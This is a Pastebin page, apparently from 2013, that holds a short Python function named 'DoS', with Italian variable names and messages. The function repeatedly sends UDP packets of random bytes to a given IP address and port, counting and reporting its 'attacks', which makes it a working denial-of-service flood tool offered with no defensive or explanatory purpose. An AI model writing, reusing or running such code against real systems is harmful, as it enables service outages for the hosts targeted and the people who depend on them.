Advertisement
mgostih

Funzione DoS

Nov 2nd, 2013
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.82 KB | None | 0 0
  1. def DoS(ip,porta,attacchi,byte,segnalazione):
  2.     import socket
  3.     import random
  4.     import time
  5.     sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  6.     eseguiti=0
  7.     try:
  8.         flood=random._urandom(int(byte))
  9.     except:
  10.         print("Errore, variabile 'byte' fallita.")
  11.     try:
  12.         attacchi=int(attacchi)
  13.     except:
  14.         print("Errore, variabile 'attacchi' fallita.")
  15.     while attacchi > 0:
  16.         eseguiti=eseguiti+1
  17.         try:
  18.             sock.sendto(flood,(ip,int(porta)))
  19.         except:
  20.             print("Errore, variabile 'ip' o 'porta' fallita.")
  21.         attacchi=attacchi-1
  22.         if eseguiti==segnalazione:
  23.             print(str(segnalazione)+" attacchi effettuati all'indirizzo "+ip+":"+str(porta))
  24.             time.sleep(0.5)
  25.             eseguiti=0
  26.         else:
  27.             0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement